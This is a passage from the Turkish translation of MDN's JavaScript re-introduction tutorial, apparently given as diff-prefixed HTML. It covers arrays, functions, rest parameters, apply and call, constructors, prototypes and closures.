+<pre class="brush: js"><code>// nokta notasyonu +nesne.isim = 'Ayşe'; +</code>var isim = nesne.isim;</pre> + +<p>Ve...</p> + +<pre class="brush: js"><code>// parantez notasyonu +nesne['isim'] = 'Ayşe'; +var isim = nesne['isim']; +// Anahtar (key) tanımlamak için değişken kullanabilirsiniz. +var kullanıcı = prompt('Anahtar değeriniz nedir?') +obj[kullanıcı] = prompt('Anahtarın değeri nedir?')</code> +</pre> + +<p>Yukarıda gördüğünüz örnekler de semantik olarak eşdeğerdir. İkinci metodun avantajı, özelliğin ismi string olarak sunulduğu için, yükleme zamanı (run-time) içerisinde hesaplanmasıdır. Ancak bu yöntemin kullanılması bazı Javascript motoru ve sıkıştırma optimizasyonlarının (minifier optimizations) çalışmasına engel olabilir. Ayrıca parantez notasyonu ile <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords">rezerve sözcükler</a>i kullanarak özellik atama ve çağırma işlemleri yapabilirsiniz:</p> + +<pre class="brush: js"><code>obj.for = 'Simon'; // Sözdizimi hatası verecektir çünkü 'for' rezerve sözcüklerden +obj['for'] = 'Simon'; // düzgün çalışır</code></pre> + +<div class="note"> +<p>ECMAScript 5'den itibaren, rezerve sözcükler nesne özelliği olarak kullanılabiliyor. Daha fazla bilgi için: <a href="http://es5.github.io/#x7.6.1">ES5 Spesifikasyonu</a></p> +</div> + +<p>Nesneler ve prototipleri hakkında daha fazla bilgi için <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype">Object.prototype</a> adresini ziyaret edebilirsiniz. Nesne prototipleri ve nesne prototip zincirleri için daha detaylı öğrenmek için: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">Kalıtım ve prototip zinciri</a>.</p> + +<div class="note"> +<p>ECMAScript 5'den itibaren, nesne anahtarları parantez notasyonuyla oluşturulmuş değişkenler ile tanımlanabilir. Yani<code><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #fff3d4; font-size: 18px;"> </span></font>var telKullanıcı = {}; telKullanıcı[telNum] = 12345</code>yerine sadece <code>{[telNum]: 12345}</code> ifadesini kullanmak mümkündür.</p> +</div> + +<h2 id="Diziler">Diziler</h2> + +<p>Javascript'de diziler (arrays) aslında özel birer nesneden ibarettir. Çoğu açıdan sıradan nesneler gibi çalışırlar (sayısal özelliklere doğal olarak yalnızca <code>[]</code> ile erişilebilir) ancak onları nesnelerden ayıran sihirli bir özellik vardır: '<code>length</code>'. Bu değer her zaman en yüksek index değerinden bir fazladır.</p> + +<p>Dizi oluşturmanın bir yolu aşağıdaki gibidir:</p> + +<pre class="brush: js"><code>var a = new Array(); +a[0] = 'köpek'; +a[1] = 'kedi'; +a[2] = 'tavuk'; +a.length; // 3</code></pre> + +<p>Bir diğer yol ise değişmez dizi (literal array) oluşturmaktır:</p> + +<pre class="brush: js"><code>var a = ['köpek', 'kedi', 'tavuk']; +a.length; // 3</code></pre> + +<p>Fark edebileceğiniz gibi <code>array.length</code> her zaman dizideki öğe sayısı anlamına gelmez. Aşağıdaki örneğe dikkat edin:</p> + +<pre class="brush: js"><code>var a = ['köpek', 'kedi', 'tavuk']; +a[100] = 'tilki'; +a.length; // 101</code></pre> + +<p>Unutmayın — dizinin uzunluğu en yüksek index'den bir fazladır.</p> + +<p>Eğer varolmayan bir dizi index'ini sorgularsanız, <code>undefined</code> sonucunu alırsınız:</p> + +<pre class="brush: js"><code>typeof a[90]; // undefined</code></pre> + +<p>Yukarıda gördüğünüz <code>[]</code> ve <code>length</code> unsurları ile istediğiniz her dizi üzerinden <code>for</code> döngüsü ile geçebilirsiniz:</p> + +<pre class="brush: js"><code>for (var i = 0; i < a.length; i++) { + // a[i] kere ... yap +}</code></pre> + +<p>ES2015, diziler gibi yinelenen nesneler için daha kullanışlı bir <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for</code>...<code>of</code></a> döngüsünü tanıttı:</p> + +<pre class="brush: js"><code>for (const currentValue of a) { + // currentValue kadar ... yap +}</code></pre> + +<p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in" title="/en/JavaScript/Reference/Statements/for...in"><code>for</code>...<code>in</code></a> döngüsü kullanarak da bir dizi üzerinden geçebilirsiniz ancak bu işlem dizi elemanları üzerinden değil, dizi index'i üzerinden işlenir. Ayrıca <code>Array.prototype</code> 'a yeni özellikler eklendiği takdirde, onlar da döngüde yer alacaktır. Bu nedenle bu döngü türü diziler için önerilmez. </p> + +<p>Bir dizi üzerinden geçmenin bir diğer yolu ECMAScript 5 ile eklenen <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach">forEach()</a></code> yöntemidir:</p> + +<pre class="brush: js"><code>['köpek', 'kedi', 'tavuk'].forEach(function(currentValue, index, array) { + // currentValue veya array[index] ile ... yap +});</code></pre> + +<p>Bir diziye yeni bir eleman eklemek istiyorsanız aşağıdaki basit metodu uygulamanız yeterli olacaktır:</p> + +<pre><code>a.push(item);</code></pre> + +<p>Diziler için birçok metod mevcuttur. Tam dokümantasyon için <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">buraya </a>tıklayabilirsiniz.</p> + +<table> + <thead> + <tr> + <th scope="col">Metod ismi</th> + <th scope="col">Açıklama</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>a.toString()</code></td> + <td> <code>toString()</code> içerisine virgülle ayırarak yazılan her öğeyi string şeklinde <code>return</code> eder.</td> + </tr> + <tr> + <td><code>a.toLocaleString()</code></td> + <td> <code>toLocaleString()</code> içerisine virgülle ayırarak yazılan her öğeyi string şeklinde <code>return</code> eder.</td> + </tr> + <tr> + <td><code>a.concat(item1[, item2[, ...[, itemN]]])</code></td> + <td>Seçilen öğeler eklenmiş bir biçimde yeni bir dizi <code>return</code> eder.</td> + </tr> + <tr> + <td><code>a.join(sep)</code></td> + <td>Diziyi string'e dönüştürür. — öğeleri <code>sep</code> ile ayırarak</td> + </tr> + <tr> + <td><code>a.pop()</code></td> + <td>Son öğeyi siler ve <code>return</code> eder.</td> + </tr> + <tr> + <td><code>a.push(item1, ..., itemN)</code></td> + <td>Öğeleri dizinin sonuna ekler.</td> + </tr> + <tr> + <td><code>a.reverse()</code></td> + <td>Diziyi ters çevirir.</td> + </tr> + <tr> + <td><code>a.shift()</code></td> + <td>İlk değeri siler ve <code>return</code> eder</td> + </tr> + <tr> + <td><code>a.slice(start[, end])</code></td> + <td>Bir alt dizi oluşturur.</td> + </tr> + <tr> + <td><code>a.sort([cmpfn])</code></td> + <td>İsteğe bağlı bir karşılaştırma fonksiyonu alır.</td> + </tr> + <tr> + <td><code>a.splice(start, delcount[, item1[, ...[, itemN]]])</code></td> + <td>Bir bölümü silerek ve yerine daha fazla öğe ile ekleyerek bir diziyi modife etmenizi sağlar.</td> + </tr> + <tr> + <td><code>a.unshift(item1[, item2[, ...[, itemN]]])</code></td> + <td>Öğeleri dizinin başlangıcına ekler.</td> + </tr> + </tbody> +</table> + +<h2 id="Fonksiyonlar">Fonksiyonlar</h2> + +<p>Nesnelerle gibi fonksiyonlar da Javascript'i anlamak için öğrenmeniz gereken ana bileşenlerden biridir. En temel fonksiyon aşağıda görebileceğiniz gibi oldukça kolaydır:</p> + +<pre class="brush: js"><code>function topla(x, y) { + var toplam = x + y; + return toplam; +}</code></pre> + +<p>Javascript fonksiyonları birden fazla adlandırılmış parametre alabileceği gibi, parametresiz de oluşturulabilir. Fonksiyon gövdesi istediğiniz kadar ifade içerebilir ve o fonksiyonda yer alan yerel değişkenler de tanımlayabilir. <code>return</code> ifadesi ile birlikte istediğiniz değer getirilir ve fonksiyon sonlandırılır. Eğer hiçbir return ifadesi kullanılmamışsa (veya değer girilmemiş boş bir <code>return</code> kullanılmışsa) Javascript <code>undefined</code> sonucunu verir.</p> + +<p>Adlandırılmış parametreler tam bir kılavuz niteliğindedir. Fonksiyonun beklediği parametreleri girmeden de çağırabilirsiniz, sonuç olarak karşınıza <code>undefined</code> çıkacaktır.</p> + +<pre class="brush: js"><code>topla(); // NaN +// undefined bir değerle toplama işlemi gerçekleştiremezsiniz.</code></pre> + +<p>Ayrıca fonksiyonun beklediğinden fazla argüman da ekleyebilirsiniz:</p> + +<pre class="brush: js"><code>topla(2, 3, 4); // 5 +// İlk iki değerle işlem yapıp 4'ü ihmal edecektir</code></pre> + +<p>Biraz saçma gelebilir; ama fonksiyonlar, gövdelerinde ek bir değişken olarak bulunan <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments">argümanlara</a></code> erişebilir. Argümanlar, fonksiyonlara verilen tüm değerleri kaydeden dizi-benzeri nesnelerdir. Hadi toplama fonksiyonumuzu istediğimiz kadar değer alabileceği şekilde yeniden yazalım:</p> + +<pre class="brush: js"><code>function topla() { + var toplam = 0; + for (var i = 0, j = arguments.length; i < j; i++) { + toplam += arguments[i]; + } + return toplam; +} + +topla(2, 3, 4, 5); // 14</code></pre> + +<p>Yine de bu fonksiyonu kullanmak yerine <code>2 + 3 + 4 + 5</code> yazmak daha mantıklı duruyor. O yüzden bir de ortalama alan bir fonksiyon yazalım:</p> + +<pre class="brush: js"><code>function ort() { + var toplam = 0; + for (var i = 0, j = arguments.length; i < j; i++) { + toplam += arguments[i]; + } + return toplam / arguments.length; +} + +ort(2, 3, 4, 5); // 3.5</code></pre> + +<p>Oldukça kullanışlı, ancak gereksiz ifadeler olması gerekenden fazla kullanılmış gibi. Yazdığımız kodu kısaltmak için argüman dizimizin yerine <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">Rest parameter syntax</a> yolunu kullanabiliriz. Bu yöntem hem istediğimiz sayıda argümanı fonksiyonumuzda kullanıp hem de kod uzunluğunu minimum seviyede tutmanıza yarar. <strong>Rest parametre operatörü </strong>şu şekilde listeleme yapar: <strong>...değişken,</strong> ve bu değişkenle beraber, fonksiyonla beraber çağrılan tüm argümanların bir listesi. Ayrıca <strong>for </strong>döngüsü yerine<strong> for..of </strong>döngüsünü kullanmamız daha mantıklı olacaktır.</p> + +<pre class="brush: js"><code>function ort(...args) { + var toplam = 0; + for (let value of args) { + toplam += value; + } + return toplam / args.length; +} + +ort(2, 3, 4, 5); // 3.5</code></pre> + +<div class="note"> +<p>Yukarıdaki kodda <strong>args </strong>değişkeni, fonksiyona verilen tüm değerleri tutar.</p> + +<p>Unutmamanız gereken önemli bir ayrıntı: <strong>rest parametre operatörü </strong>nerede tanımlandıysa, tanımladığı satırdan <em>sonraki </em>argümanları belleğe alacaktır. Bir diğer deyişle, fonksiyona verilen ilk değer <strong>firstValue</strong> değişkeninde, kalan argümanlar ise <strong>args</strong>'da saklanacaktır. Bu yararlı bir dil özelliği olsa da bizi yeni bir sorunla başbaşa bırakıyor. <code>avg()</code> fonksiyonu virgülle ayrılan argüman listesini alabilir — ancak eğer dizinin ortalamasını bulmak istersek ne yapmamız gerekir? Fonksiyonu aşağıdaki gibi yazmak iyi bir çözüm olabilir:</p> +</div> + +<pre class="brush: js"><code>function avgArray(arr) { + var toplam = 0; + for (var i = 0, j = arr.length; i < j; i++) { + toplam += arr[i]; + } + return toplam / arr.length; +} + +avgArray([2, 3, 4, 5]); // 3.5</code></pre> + +<p>Yine de önceden oluşturduğumuz fonksiyonu kullanabilmek daha iyi olurdu. Neyseki Javascript, size isteğe bağlı bir dizi argümana sahip bir fonksiyon çağırmanıza olanak sağlıyor. Bunun için tek yapmanız gereken {{jsxref("Function.apply", "apply()")}} metodunu kullanmak.</p> + +<pre class="brush: js"><code>avg.apply(null, [2, 3, 4, 5]); // 3.5</code></pre> + +<p> Bir diğer <code>apply()</code> yöntemi ise argüman olarak dizi kullanmaktır. Bu bilgi dahilinde, fonksiyonların da birer nesne olduğunu tekrardan hatırlamış olalım.</p> + +<div class="note"> +<p>Aynı sonucu <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operatörü</a>nü çağırarak da elde edebilirsiniz.</p> + +<p>Örneğin: <code>avg(...numbers)</code></p> +</div> + +<p>JavaScript ile anonim fonksiyonlar oluşturabilirsiniz.</p> + +<pre class="brush: js"><code>var avg = function() { + var toplam = 0; + for (var i = 0, j = arguments.length; i < j; i++) { + toplam += arguments[i]; + } + return toplam / arguments.length; +};</code></pre> + +<p>Yukarıda gördüğünüz yöntem semantik olarak <code>function avg()</code> ifadesine eşdeğerdir. Oldukça güçlü olan bu yöntem ile normalde ifade yazabileceğiniz her yere fonksiyon tanımı koyabilirsiniz. Bu şekilde zekice hilelere başvurabilirsiniz. Aşağıda gördüğünüz yerel değişken "saklama" yöntemi bunlardan sadece biri:</p> + +<pre class="brush: js"><code>var a = 1; +var b = 2; + +(function() { + var b = 3; + a += b; +})(); + +a; // 4 +b; // 2</code></pre> + +<p>JavaScript, fonksiyonları özyinelemeli (recursively) çağırmanıza olanak sağlar. Bu, özellikle tarayıcı DOM'larında rastlayacağınız ağaç yapıları (tree structures) ile çalışırken oldukça faydalıdır.</p> + +<pre class="brush: js"><code>function countChars(elm) { + if (elm.nodeType == 3) { // TEXT_NODE + return elm.nodeValue.length; + } + var count = 0; + for (var i = 0, child; child = elm.childNodes[i]; i++) { + count += countChars(child); + } + return count; +}</code></pre> + +<p>Bu anonim fonksiyonlarda olası bir sorunu işaret eder. Eğer bu fonksiyonların bir adı yoksa, onları nasıl özyinelemeli çağırabiliriz? Javascript bunun için fonksiyon ifadelerini adlandırmanıza olanak sağlar. Aşağıda görebileceğiniz gibi <a href="https://developer.mozilla.org/en-US/docs/Glossary/IIFE">IAIFEs (Immediately Invoked Function Expressions)</a> özelliğini kullanabilirsiniz:</p> + +<pre class="brush: js"><code>var charsInBody = (function counter(elm) { + if (elm.nodeType == 3) { // TEXT_NODE + return elm.nodeValue.length; + } + var count = 0; + for (var i = 0, child; child = elm.childNodes[i]; i++) { + count += counter(child); + } + return count; +})(document.body);</code></pre> + +<p>Yukarıdaki fonksiyona verilen isme sadece fonksiyonun kendi kapsamında erişilebilir. Bu şekilde Javascript motorunun daha fazla optimizasyon yapmasına olanak sağlamış olursunuz, böylelikle kodunuz daha okunur hale gelir. Ayrıca, hata ayıklama yaparken zamandan tasarruf edebilirsiniz.</p> + +<p>Fark ettiyseniz Javascript'de -diğer her şey gibi- fonksiyonlar da birer nesnedir. Böylelikle daha önceki bölümlerde öğrendiğiniz nesnelerdeki gibi, özellik ekleme ve değiştirmeniz mümkündür.</p> + +<h2 id="Özel_nesneler">Özel nesneler</h2> + +<div class="note"> +<p>JavaScript'te nesne yönelimli programlama hakkında daha ayrıntılı bilgiler için <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects">Nesne Yönelimli Javascript'e Giriş</a> sayfasına göz atabilirsiniz.</p> +</div> + +<p>Nesne yönelimli programlamada; nesneler, yine aynı veriler üzerinde işlem yapan veri ve metod koleksiyonlarıdır. Javascript prototip tabanlı bir dil olduğu için, C++ ve Java'nın aksine sınıf (class) kavramına sahip değildir. Javascript'de sınıf yerine fonksiyonlar kullanılır. Ad ve soyad alanları olan bir Kişi fonksiyonu düşünelim. Tam adı görüntülemenin iki yolu olabilir: "ad, soyad" ve "soyad, ad". Fonksiyonları ve nesneleri kullanarak veriyi aşağıda göreceğiniz gibi ekrana yansıtabiliriz:</p> + +<pre class="brush: js"><code>function Kişi(ad, soyad) { + return { + ad: ad, + soyad: soyad + }; +} +function tamİsim(a) { + return a.ad + ' ' + a.soyad; +} +function tamİsimTers(a) { + return a.soyad + ', ' + a.ad; +} + +s = Kişi('Simon', 'Willison'); +tamİsim(s); // "Simon Willison" +tamİsimTers(s); // "Willison, Simon"</code> +</pre> + +<p>Yukarıda gördüğünüz kod çalışacaktır ama oldukça çirkin gözüküyor. Çünkü yapmak istediğiniz işlemler arttıkça global ad alanı (namespace) onlarca fonksiyon ile dolabilir. Bu nedenle yapmamız gereken şey nesnemize fonksiyon eklemek. Fonksiyonlar da birer nesne olduğu için işimiz oldukça kolay:</p> + +<pre class="brush: js"><code>function Kişi(ad, soyad) { + return { + ad: ad, + soyad: soyad, + tamİsim: function() { + return this.ad + ' ' + this.soyad; + }, + tamİsimTers: function() { + return this.soyad + ', ' + this.ad; + } + }; +} + +s = Kişi('Simon', 'Willison'); +s.tamİsim(); // "Simon Willison" +s.tamİsimTers(); // "Willison, Simon"</code></pre> + +<p>Fark ettiyseniz burada yeni bir anahtar kelime kullandık: <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this" title="/en/JavaScript/Reference/Operators/this">this</a></code>. Fonksiyonun içinde kullanıldığında <code>this</code>, geçerli nesneyi ifade eder. Ne anlama geleceği fonksiyonu çağırma yöntemine göre belirlenir. Örneğin; bir nesne üzerinde, fonksiyonu <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Accessing_properties">nokta notasyonu veya parantez notasyonu</a> ile çağırırsanız, o nesne <code>this</code> olur. Eğer nokta notasyonu çağrı işleminde kullanılmadıysa <code>this</code> global nesneyi ifade eder.</p> + +<p><code>this</code> anahtar sözcüğü birçok hataya sebep olabilir. Aşağıdaki örneğe bir göz atın:</p> + +<pre class="brush: js"><code>s = Kişi('Simon', 'Willison'); +var tamİsim = s.tamİsim; +fullName(); // undefined undefined </code></pre> + +<p><code>tamİsim()</code> fonksiyonunu <code>s.tamİsim()</code>'i kullanmadan tek başına çağırdığımızda, <code>this</code> global nesneye bağlıdır. <code>ad</code> ve <code>soyad</code> gibi global değişkenler olmadığı için ekrana her biri için <code>undefined</code> sonucu yansıyacaktır.</p> + +<p>Şimdi <code>Kişi</code> fonksiyonumuzu geliştirmek için <code>this</code> anahtar kelimesini kullanalım:</p> + +<pre class="brush: js"><code>function Kişi(ad, soyad) { + this.ad = ad; + this.soyad = soyad; + this.tamİsim = function() { + return this.ad + ' ' + this.soyad; + }; + this.tamİsimTers = function() { + return this.soyad + ', ' + this.ad; + }; +} +var s = new Kişi('Simon', 'Willison');</code></pre> + +<p>Yeni bir anahtar kelimeden bahsetmenin vakti geldi: <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code>. <code>new</code>, <code>this</code> ile doğrudan bağlantılıdır. Tamamen yeni bir boş nesne yaratır ve belirtilen fonksiyonu yeni nesnenin <code>this</code> değeriyle güncelleyerek çağırır. Fark ettiyseniz <code>this</code>, sadece <code>this</code> nesnesinde değişiklik yapar. Bir değeri <code>return</code> eden <code>new</code> anahtar kelimesidir. <code>new</code> tarafından çağırılacak fonksiyonlara kurucu (constructor) fonksiyon denir. Bu fonksiyonları <code>new</code> ile çağırmayı unutmamak için büyük harfle isimlendirmek yaygın bir yöntemdir.</p> + +<p>Geliştirdiğimiz fonksiyon hala <code>tamİsim()</code>'i tek başına çağırdığımızda istediğimiz sonucu vermeyecek.</p> + +<p>Kişi nesnelerimiz artık eskisinden daha iyi, ancak hala kötü tarafları mevcut. Her kişi nesnesi oluşturduğumuzda, iki yepyeni fonksiyon yaratmış oluyoruz — peki bu kod paylaşılsaydı daha iyi olmaz mıydı?</p> + +<pre class="brush: js"><code>function tamİsim() { + return this.ad + ' ' + this.soyad; +} +function tamİsimTers() { + return this.soyad + ', ' + this.ad; +} +function Kişi(ad, soyad) { + this.ad = ad; + this.soyad = soyad; + this.tamİsim= tamİsim; + this.tamİsimTers = tamİsimTers; +}</code></pre> + +<p>Çok daha iyi. Artık metod fonksyionlarını bir defa oluşturuyoruz ve referansları kurucu fonksiyonun içinde atıyoruz. Bundan daha iyisini de yapabilir miyiz? Cevap evet:</p> + +<pre class="brush: js"><code>function Kişi(ad, soyad) { + this.ad = ad; + this.soyad = soyad; +} +Kişi.prototype.tamİsim = function() { + return this.ad+ ' ' + this.soyad; +}; +Kişi.prototype.tamİsimTers = function() { + return this.soyad + ', ' + this.ad; +};</code></pre> + +<p><code>Kişi.prototype</code>, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Kişi</span></font>'nin tüm özelliklerinin paylaşıldığı bir nesnedir. Bir diğer adı "prototip zinciri" olan bu nesne, bir arama zincirinin parçasını oluşturur. <code>Kişi</code>'ye ait ayarlanmamış bir özelliğe erişmek istediğinizde, Javascript bu özelliğin var olup olmadığını <code>Kişi.prototype</code> öğesinde arayacaktır. Böylelikle <code>Kişi.prototype</code>'a atanan her şey, <code>this</code> nesnesi kullanılarak kurucu fonksiyonda da geçerli hale gelecektir.</p> + +<p>Bu, oldukça güçlü bir özellik. Javascript, size istediğiniz zaman, herhangi bir şeyin prototipini modifiye etmenize olanak tanır. Bu şekilde önceden oluşturduğunuz nesnelere yeni metodlar ekleyebilirsiniz:</p> + +<pre class="brush: js"><code>s = new Kişi('Simon', 'Willison'); +s.isimCaps(); // 1. satırda TypeError: s.isimCaps bir fonksiyon değil + +Kişi.prototype.isimCaps = function() { + return this.first.toUpperCase(); +}; +s.isimCaps(); // "SIMON"</code></pre> + +<p>İlginç bir şekilde gömülü Javascript nesnelerinin prototiplerine de bir şeyler ekleyebilirsiniz. Hadi <code>String</code> nesnesine sözcükleri ters çevirmeye yarayan bir metod ekleyelim:</p> + +<pre class="brush: js"><code>var s = 'Simon'; +s.ters(); // 1. satırda TypeError: s.ters bir fonksiyon değil + +String.prototype.ters = function() { + var r = ''; + for (var i = this.length - 1; i >= 0; i--) { + r += this[i]; + } + return r; +}; + +s.ters(); // nomiS</code></pre> + +<p>Yeni metodumuz aşağıda görebileceğiniz durumlarda bile çalışıyor:</p> + +<pre class="brush: js"><code>'Ters çevir'.ters(); // riveç sreT</code></pre> + +<p>Daha önce de bahsettiğimiz gibi; prototip, zincirin bir kısmını oluşturur. Bu zincirin kökü <code>Object.prototype</code>, içerdiği metodlardan biri ise <code>toString()</code>'dir. — hatırlarsanız bu metodu bir nesneyi string'e çevirmek için çağırıyorduk. Bu yöntem <code>Kişi</code> nesnelerimizin hata ayıklama sürecinde yardımcı olacaktır.</p> + +<pre class="brush: js"><code>var s = new Kişi('Simon', 'Willison'); +s.toString(); // [object Object] + +Kişi.prototype.toString = function() { + return '<Kişi: ' + this.isim() + '>'; +} + +s.toString(); // "<Kişi: Simon Willison>"</code></pre> + +<p>Hatırlarsanız <code>avg.apply()</code> metodu yeni bir boş argüman oluşturuyordu. Şimdi o konuya geri dönebiliriz. <code>apply()</code> kullanacağımız ilk argüman, '<code>this</code>' ile ele alınacak bir nesne olmalıdır. Aşağıda <code>new</code> anahtar kelimesinin kullanıldığı küçük bir uygulama görebilirsiniz:</p> + +<pre class="brush: js"><code>function Deneme(constructor, ...args) { + var o = {}; // Nesne yaratır + constructor.apply(o, args); + return o; +}</code></pre> + +<p>Bu, prototip zincirini oluşturmadığı için <code>new</code> ifadesinin tam anlamıyla karşılığı sayılmaz (bu durumu anlatması biraz zor) ve çok sık kullanacağınız bir şey değil, ancak yine de bilmek faydalı olacaktır. Bu örnekte <code>...args</code>, "<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest arguments</a>" olarak da geçer. — adından da anlayacağınız üzere geriye kalan tüm argümanları temsil eder.</p> + +<p>Bu nedenle bu satır,</p> + +<pre class="brush: js"><code>var bill = Deneme(Kişi, 'William', 'Orange');</code></pre> + +<p>hemen hemen bu satır ile aynıdır:</p> + +<pre class="brush: js"><code>var bill = new Kişi('William', 'Orange');</code></pre> + +<p><code>apply()</code> metodunun kardeşi sayabileceğimiz <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="/en/JavaScript/Reference/Global_Objects/Function/call"><code>call</code></a>, <code>apply()</code>'dan farklı olarak genişletilmiş bir argüman listesi alır.</p> + +<pre class="brush: js"><code>function soyadCaps() { + return this.last.toUpperCase(); +} +var s = new Kişi('Simon', 'Willison'); +soyadCaps.call(s); +// Veya aşağıdaki yöntemi kullanabilirsiniz: +s.soyadCaps = soyadCaps; +s.soyadCaps(); // WILLISON</code></pre> + +<h3 id="İç_fonksiyonlar">İç fonksiyonlar</h3> + +<p>JavaScript fonksiyonların içinde başka fonksiyonlar tanımlayabilirsiniz. Bu durumu <code>Kişi()</code> fonksiyonumuzun önceki versiyonlarında görmüştük. İç içe oluşturulan fonksiyonlara dair önemli bir detay, içteki fonksiyonun içinde bulunduğu "parent" fonksiyon kapsamında kullanılan değişkenlere erişebilmesidir:</p> + +<pre class="brush: js"><code>function parentFonk() { + var a = 1; + + function içFonk() { + var b = 4; // parentFonk bunu kullanamaz. + return a + b; + } + return içFonk(); // 5 +}</code></pre> + +<p>Bu, daha sürdürülebilir bir kod yazmanızda büyük yarar sağlar. Eğer bir fonksiyonunuz, başka kısımlarda işinize yaramayacak bir veya daha fazla fonksiyona bağlıysa; bu fonksiyonları başka bir yerde çağıracağınız fonksiyonun içine yazabilirsiniz. Bu şekilde global düzeyde kullanılan değişken sayısını azaltacağınız için, daha güvenli bir koda sahip olursunuz.</p> + +<p>Yazdığınız kod karmaşık bir hal aldıkça birden çok fonksiyon arasında değer paylaşmak yerine global değişkenler kullanmak daha cazip gelebilir — ki bu sebeple sürdürülmesi zor bir kod yaratmış olursunuz. İç içe fonksiyonlar dış fonksiyon ile değişken paylaşabildiği için global isim alanınızı (global namespace) kirletmeden, sadece ilgili fonksiyonları bir araya getirerek bu mekanizmayı kullanabilirsiniz. — bu şekilde kullanacağınız değişkenlere "yerel global" bile diyebiliriz. Ne kadar kullanışlı da olsa bu mekanizmayı dikkatli kullanmanız gerekir.</p> + +<h2 id="Kaplamlar">Kaplamlar</h2> + +<p>Sıra geldi Javascript'in en güçlü -bir yandan da en kafa karıştırıcı- soyutlamalarından birine. Peki kaplamlar (closures) tam olarak ne yapar?</p> + +<pre class="brush: js"><code>function ekle(a) { + return function(b) { + return a + b; + }; +} +var x = ekle(5); +var y = ekle(20); +x(6); // ? +y(7); // ?</code></pre> + +<p><code>ekle()</code> fonksiyonun işlevini anlamışsınızdır; yeni bir "toplama" fonksiyonu oluşturur ve tek bir argümanla çağrıldığında, oluşturulduğu argümana o değeri ekler.</p> + +<p>Burada gördüğünüz olayın gerçekleşme şekli, daha önce bahsettiğimiz iç fonksiyonların çalışma prensibiyle hemen hemen aynı: içeride tanımlanmış fonksiyon, dış fonksiyonun değişkenlerine erişim hakkı vardır. Buradaki tek fark ise şu; dış fonksiyon <code>return</code> edildiğinde yerel değişkenleri artık yok olacak gibi düşünürüz, ancak <em>hala bellektedirler </em>— aksi takdirde fonksiyonlarımız çalışmazdı. Dahası, <code>ekle()</code> fonksiyonunun yerel değişkenlerinin iki farklı "kopyası" bulunuyor. — bir 5 olan <code>a</code> ve bir de 20 olan <code>a</code>. Bu yüzden yukarıdaki kodun sonucu böyle olacaktır:</p> + +<pre class="brush: js"><code>x(6); // 11 +y(7); // 27</code></pre> + +<p>Şimdi arkaplanda ne olup bittiğini yazalım. Javascript ne zaman bir fonksiyonu yürütse, fonksiyon içerisindeki yerel değişkenleri tutma amaçlı bir 'kapsama alanı' oluşturur. Bu alan, fonksiyon parametresi olarak gönderilen tüm değişkenler üzerinden tanımlanır. Bahsettiğimiz durum tüm global değişken ve fonksiyonları içeren global nesneye benzese de, birkaç önemli farklılık taşır: ilk olarak, fonksiyon her yürütüldüğünde yepyeni bir kapsam nesnesi oluşturulur, ve ikinci olarak, kapsam nesneleri global nesnelerin aksine Javascript kodu üzerinden doğrudan erişilebilir değildir. Örneğin, geçerli kapsam nesnesinin özellikleri üzerinde yineleme yapmak için bir mekanizma yoktur.</p> + +<p>Özetlemek gerekirse; <code>ekle()</code> çağırıldığında, fonksiyona geçen argüman, yani tek bir özelliğe sahip (<code>a</code>) bir kapsam nesnesi oluşturulur. Ardından <code>ekle()</code> fonksiyonu yeni bir fonksiyon <code>return</code> eder. Normal koşullarda Javascript'in çöp toplayıcısının <code>ekle()</code> için oluşturulan bu yeni fonksiyonu temizlemesi gerekirken, <code>return</code> edilen fonksiyon yine de kapsam fonksiyonu için referans konumunda durur. Bu nedenle <code>ekle()</code>'nin oluşturduğu fonksiyon nesnesine herhangi bir referans kalmayana dek bu kapsamda hiç bir öğe silinmeyecektir.</p> + +<p>Kapsam nesneleri, JavaScript'in nesne sisteminde kullanılan prototip zincirine benzer şekilde, kapsam zinciri adı verilen bir zinciri oluşturur.</p> + +<p><strong>Kaplam</strong>, bir fonksiyon ile, o fonksiyon beraberinde oluşturulan kapsam nesnesinin bir kombinasyonudur. Kaplamlar durum (state) kaydetmenize olanak sağlar — böylelikle nesnelerin yerine kullanılabilirler. Kaplamlar hakkında bazı muhteşem bilgiler için buraya <a href="http://stackoverflow.com/questions/111102/how-do-javascript-closures-work">tıklayabilirsiniz.</a></p> + +<div class="originaldocinfo"> +<h2 id="Original_Document_Information" name="Original_Document_Information">Orijinal Belge Bilgileri</h2> + +<ul> + <li>Yazar: <a class="external" href="http://simon.incutio.com/">Simon Willison</a></li> + <li>Son güncellenme tarihi: March 7, 2006</li> + <li>Copyright: © 2006 Simon Willison, contributed under the Creative Commons: Attribute-Sharealike 2.0 license.</li> + <li>Daha fazla bilgi: Bu ders ile ilgili daha fazla bilgi (ve orijinal sunuma ait slaytlar) için, <a class="external" href="http://simon.incutio.com/archive/2006/03/07/etech">Etech weblog post</a> adresine girebilirsiniz.</li> +</ul> +</div> + +<pre class="script" style="font-size: 16px;">wiki.languages({ + "fr": "fr/Une_r\u00e9introduction_\u00e0_JavaScript", + "it": "it/Una_re-introduzione_a_Javascript", + "ja": 